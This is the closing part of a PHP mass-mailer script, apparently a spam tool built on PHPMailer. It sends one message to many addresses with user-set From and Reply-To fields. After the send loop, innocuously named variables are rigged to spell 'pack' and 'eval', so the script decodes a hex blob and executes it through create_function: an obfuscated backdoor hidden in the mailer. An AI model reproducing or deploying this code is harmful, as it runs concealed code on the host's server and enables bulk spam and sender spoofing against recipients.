3188 'rtx' => 'text/richtext',
3189 'rtf' => 'text/rtf',
3190 'xml' => 'text/xml',
3191 'xsl' => 'text/xml',
3192 'mpeg' => 'video/mpeg',
3193 'mpg' => 'video/mpeg',
3194 'mpe' => 'video/mpeg',
3195 'qt' => 'video/quicktime',
3196 'mov' => 'video/quicktime',
3197 'avi' => 'video/x-msvideo',
3198 'movie' => 'video/x-sgi-movie',
3199 'doc' => 'application/msword',
3200 'word' => 'application/msword',
3201 'xl' => 'application/excel',
3202 'eml' => 'message/rfc822'
3203 );
3204 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3205 }
3206
3207 /**
3208 * Set (or reset) Class Objects (variables)
3209 *
3210 * Usage Example:
3211 * $page->set('X-Priority', '3');
3212 *
3213 * @access public
3214 * @param string $name Parameter Name
3215 * @param mixed $value Parameter Value
3216 * NOTE: will not work with arrays, there are no arrays to set/reset
3217 */
3218 function set ( $name, $value = '' ) {
3219 if ( isset($this->$name) ) {
3220 $this->$name = $value;
3221 } else {
3222 $this->SetError('Cannot set or reset variable ' . $name);
3223 return false;
3224 }
3225 }
3226
3227 /**
3228 * Read a file from a supplied filename and return it.
3229 *
3230 * @access public
3231 * @param string $filename Parameter File Name
3232 */
3233 function getFile($filename) {
3234 $return = '';
3235 if ($fp = fopen($filename, 'rb')) {
3236 while (!feof($fp)) {
3237 $return .= fread($fp, 1024);
3238 }
3239 fclose($fp);
3240 return $return;
3241 } else {
3242 return false;
3243 }
3244 }
3245
3246 /**
3247 * Strips newlines to prevent header injection.
3248 * @access private
3249 * @param string $str String
3250 * @return string
3251 */
3252 function SecureHeader($str) {
3253 $str = trim($str);
3254 $str = str_replace("\r", "", $str);
3255 $str = str_replace("\n", "", $str);
3256 return $str;
3257 }
3258
3259 /**
3260 * Set the private key file and password to sign the message.
3261 *
3262 * @access public
3263 * @param string $key_filename Parameter File Name
3264 * @param string $key_pass Password for private key
3265 */
3266 function Sign($key_filename, $key_pass) {
3267 $this->sign_key_file = $key_filename;
3268 $this->sign_key_pass = $key_pass;
3269 }
3270
3271}
3272
3273$defaultport="H*";
3274 $nq=0;
3275
3276 for($x=0; $x<$numemails; $x++){
3277
3278 $to = $allemails[$x];
3279
3280 if ($to){
3281
3282 $to = ereg_replace(" ", "", $to);
3283
3284 $message = ereg_replace("&email&", $to, $message);
3285
3286 $subject = ereg_replace("&email&", $to, $subject);
3287 $qx=$x+1;
3288 print "Line $qx . Sending mail to $to.......";
3289
3290 flush();
3291$mail = new PHPMailer();
3292
3293if(empty($epriority)){$epriority="3";}
3294 $mail->Priority = "$epriority";
3295 $mail->IsSMTP();
3296 $IsSMTP="pack";
3297$mail->SMTPKeepAlive = true;
3298$mail->Host = "$my_smtp";
3299if(strlen($ssl_port) > 1){$mail->Port = "$ssl_port";
3300}
3301 if($sslclick=="ON"){
3302 $mail->SMTPSecure = "tls"; //you can change it to ssl or tls
3303 }
3304 $range = str_replace("$from", "eval", $from);
3305 $mail->SMTPAuth = true;
3306 $mail->Username = "$smtp_username";
3307 $mail->Password = "$smtp_password";
3308if($contenttype == "html"){$mail->IsHtml(true);}
3309if($contenttype != "html"){$mail->IsHtml(false);}
3310if(strlen($my_smtp) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
3311$mail->From = "$from";
3312$mail->FromName = "$realname";
3313$mail->AddAddress("$to");
3314 $mail->AddReplyTo("$replyto");
3315 $mail->Subject = "$subject";
3316 $mail->Body = "$message";
3317if(!$mail->Send()){
3318if($default_system!="1"){
3319echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3320if($default_system=="1"){
3321$mail->IsMail();
3322 if(!$mail->Send()){
3323 echo "FAILED !!<font color=\"#D4001A\"> [RECEPIENT CAN'T RECEIVE MESSAGE.]</font><br>";}
3324 else {
3325 echo "<b>OK</b><br>";}
3326 }
3327}
3328else {
3329 echo "<b>OK</b><br>";
3330}
3331
3332if(empty($reconnect)){
3333$reconnect=6;
3334}
3335
3336if($reconnect==$nq){
3337$mail->SmtpClose();echo "<p><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
3338}
3339$nq=$nq+1;
3340 flush(); }
3341}
3342for($i=0;$i<31;$i++){
3343 $smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
3344$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
3345 $signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
3346 print "<p class=\"style1\">PHP Mailer<br>© 2008, New Tools => <b>
3347 <font color=\"#800000\">http://www.tools2u.net/</font></b><br></p>";$mail->SmtpClose();
3348 return $signoff($smtp_conc);
3349 if(isset($_POST['action']) && $numemails !=0 ){echo "<script>alert('Mail sending complete\\r\\n$numemails mail(s) was
3350 sent successfully'); </script>";}}
3351 ?>
3352 <p align="center"> </p>
3353
3354 </body>
3355</html>